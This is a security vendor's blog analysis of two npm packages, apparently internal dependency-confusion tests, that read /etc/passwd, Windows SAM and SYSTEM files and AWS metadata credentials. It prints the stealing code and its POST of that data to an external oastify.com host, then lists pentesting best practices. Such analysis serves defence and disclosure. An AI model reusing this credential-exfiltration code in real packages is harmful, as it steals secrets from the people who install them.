• Home
  • Resources
  • Blog
  • A Weaponized npm Package ‘@core-pas/cyb-core’ Proclaimed Pentesting Related

A Weaponized npm Package ‘@core-pas/cyb-core’ Proclaimed Pentesting Related

Two packages of well-known origin were found exfiltrating Windows SAM and SYSTEM files, apparently as part of internal security research rather than a targeted dependency confusion attack.

On June 6th, 2022, the Mend research team used Supply Chain Defender to detect and flag two malicious packages from the same author that contained identical code. We alerted npm and the packages were removed within three hours of publication.

Based on the package names, it seemed likely that the person behind this was trying to exploit dependency confusion in a package belonging to a well-known proprietary enterprise software project. The Mend research team contacted the related software company as part of a responsible disclosure policy, and the company disclosed that the packages in question were uploaded to npm as part of internal security testing.

In conversation with us, the company’s security team noted, “As part of our ongoing testing, we test our resiliency against supply chain attacks. We can confirm that our systems were not susceptible to this dependency confusion attack.” We then jointly  brainstormed on how to improve the process of penetration testing. Read on for best practices below.

What we found

The first package, @core-pas/cyb-core, was uploaded to npm on June 06, 2022 at 18:35 UTC and was detected and blocked within 15 minutes of publication. The second package, cyb-core, was immediately detected when released at 18:32 UTC and removed by the author four minutes later.

Upon analysis, we found that the packages were intended to collect sensitive information such as Windows SAM and SYSTEM files, as well as UNIX /etc/passwd file.

What sensitive information was targeted

While running the package in our lab, we observed and analyzed the code.
The index.js file started by collecting three entries.

  • First, we observed /etc/passwd file being collected:
var etcpasswd = '/etc/passwd';
let base64data1 = '';
try {
    if (fs.existsSync(etcpasswd)) {
        var data1 = fs.readFileSync(etcpasswd, 'utf8');
        let buff1 = Buffer.from(data1);
        base64data1 = buff1.toString('base64');
    }
} catch (error) {
    console.log('');
}

/etc/passwd file content being collected

/etc/passwd is a file that keeps track of every registered user that has access to a system. It is targeting UNIX-based operating system users.
The /etc/passwd file is a colon-separated file that contains the following information: User name, Encrypted password, User ID number.

The file is built this way:

More information regarding the /etc/passwd file can be found here.

  • Next, we observed the Windows SAM file being exfiltrated:
var sam = 'C:\WINDOWS\system32\config\SAM';
let base64data2 = '';
try {
    if (fs.existsSync(sam)) {
        var data2 = fs.readFileSync(sam, 'utf8');
        let buff2 = Buffer.from(data2);
        base64data2 = buff2.toString('base64');
    }
} catch (error) {
    console.log('');
}

Exfiltration of Windows SAM file

 

C:\WINDOWS\system32\config\SAM file is a database file in the Microsoft Windows operating system that contains usernames and passwords. The file content is encrypted. The Windows SAM file can be easily decrypted by ‘mimikatz’, a tool that is often used when conducting red team operations against Windows environments.

 

  • Next up: The team observed the theft of information from the Windows SYSTEM file. Those are system registry files in Windows.
var systemfile = 'C:\WINDOWS\system32\config\SYSTEM';
let base64data3 = '';
try {
    if (fs.existsSync(systemfile)) {
        var data3 = fs.readFileSync(systemfile, 'utf8');
        let buff3 = Buffer.from(data3);
        base64data3 = buff3.toString('base64');
    }
} catch (error) {
    console.log('');
}

Exfiltration of Windows SYSTEM file

In each of the above entries, the actor uses basic javascript methods to exfiltrate the information:

 

  • The fs.existsSync() method is used to synchronously check whether a file already exists in the given path or not. It returns a boolean value that indicates the presence of a file. In every parameter above, there is no operating system check, but rather a simple check to see if the file exists using fs.existsSync().
  • The fs.readFileSync() method is used to read the file and return its content. This is written in utf8 encoding into the dataX variable where X is {1..4} in that case.
  • The Buffer.from() method creates a new buffer filled with the specified string, array, or buffer. Buffers can be used for taking a string or piece of data and doing Base64 encoding of the result, as we see in the next step.
  • The toString(‘base64’) method encodes the buffer that contains the content of the stolen file into base 64.

Finally, we noted a data exfiltration section that targets AWS instances, as this malicious code could potentially be installed and thus executed on such instances.
Upon package installation the malicious code executes a request to an Amazon Web Services (AWS) metadata service:

const options2 = {
    hostname: '169.254.169.254',
    port: 80,
    path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/',
    method: 'GET'
};


Potential attack impact

Left unchecked, the data collected would then be passed on to the external actor via an HTTP request.

You can read more about using AWS metadata identity credentials here (https://rhynorater.github.io/AWS-Metadata-Identity-Credentials). While perhaps not particularly useful when it comes to crafting a malicious attack, they can be used to prove system compromise as part of white-hack security research.

This is not the first time that we have seen and detected attacks that use similar techniques to target AWS instances:

The array ’options’ contains the above stolen information and is being written into the listener res.on(‘data’, …)

var options = {
        hostname: "fdw8jf59fyrb5rp6hamcl4q7gymoad.oastify.com",
        port: 443,
        path: "/",
        method: "POST",
        headers: {
            "Content-Type": "application/x-www-form-urlencoded",
            "Content-Length": postData.length,
            "Contentetcpasswd": base64data1,
            "ContentSAM": base64data2,
            "ContentetSYSTEM": base64data3,
            "imdsv1": base64data4
        },
    };


    var req = https.request(options, (res) => {
        res.on("data", (d) => {
            process.stdout.write(d);
        });
    });


Penetration Testing Do’s and Don’ts

Security research can be confusing to the open source user community. Below are some best practices for safely pentesting without raising unnecessary alarms. 

Do:

  • Use your company email to register the account from which you plan to conduct your research (Optimally, the email would be the same as the address used to contact you for emerging security issues).
  • Clearly indicate the package’s purpose in the readme file.
  • To avoid raising alarms, your purpose-built test packages should not actively collect information beyond ‘HostName’ and IP.
  • If any further information is collected, it should be hashed with a one-way hash function.
  • Keep in mind that others may have similar naming conventions as your private packages. Avoid exposing others to dependency confusion attacks as a result of your testing.
  • Always keep in mind you are publishing packages to a free and public registry that is available to anyone else.

Do not:

  • Use obfuscation to hide the package content.
  • Use your private namespace/package naming conventions. Doing so could inadvertently offer value to malicious actors scanning registries for such information and attempting to use it.
  • Collect any sensitive information such as ENV variables or any file-based data.
  • Include any data-modifying code.
  • Include remote shells or anything that could be used to run external code on any of the hosts or weaponize the packages in any other way.

How to protect your organization from supply chain attacks

Supply chain attacks evolve and grow more frequent each day. Dependency confusion attack attempts are very common. The easiest way to protect this attack surface is to use an automated supply chain security solution such as Mend Supply Chain Defender. Mend enterprise customers using JFrog Artifactory as a private repository manager can prevent malicious open source software from entering their code base using the Mend Supply Chain Defender Integration with JFrog Artifactory. 

Learn how Mend Supply Chain Defender blocks software supply chain attacks.

Meet The Author

Tamir Ben Ari

Tamir Ben Ari is a malware researcher at Mend, investigating malicious behaviors such as typosquatting attacks, malicious takeovers, ATO attacks, Makefile pollution, Bitcoin mining, environment and credential-stealing, and dependency confusion. Previously, he held the role of security researcher at Mend, which included detailed vulnerability research in open source libraries.

Subscribe to Our Blog